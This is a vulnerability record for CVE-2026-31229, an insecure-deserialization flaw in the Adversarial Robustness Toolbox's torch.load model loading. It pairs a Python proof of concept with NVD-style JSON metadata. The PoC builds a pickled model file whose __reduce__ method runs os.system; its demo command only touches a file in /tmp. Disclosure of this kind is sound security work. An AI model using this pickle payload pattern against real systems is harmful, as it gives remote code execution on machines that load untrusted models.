CVE-2026-31229

import os import pickle import torch # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Command to execute (e.g., create a file or run a shell script) return (os.system, ('touch /tmp/pwned_by_cve_2026_31229',)) # Create a malicious model file print("[+] Generating malicious model file: malicious_model.pt") with open('malicious_model.pt', 'wb') as f: pickle.dump(MaliciousPayload(), f) print("[+] Simulating loading the model with vulnerable torch.load()...") # This mimics the vulnerable code in ART try: # In a real scenario, this would be torch.load(model_path) # Here we demonstrate the deserialization trigger data = torch.load('malicious_model.pt') print("[-] Exploit executed!") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-31229", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:51.160", "lastModified": "2026-05-13T16:16:38.880", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains an insecure deserialization vulnerability (CWE-502) in its Kubeflow component's model loading functionality. When loading model weights from a file (e.g., model.pt) during robustness evaluation, the code uses torch.load() without the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the Pickle module. An attacker can exploit this by uploading a maliciously crafted model file to an object storage location referenced by the pipeline, or by controlling the model_id parameter to point to such a file. When the pipeline loads the model, the malicious payload is executed, leading to remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Trusted-AI/adversarial-robustness-toolbox", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31229-35d1e13931888172863dcc20beeb6b70", "source": "[email protected]"}]}}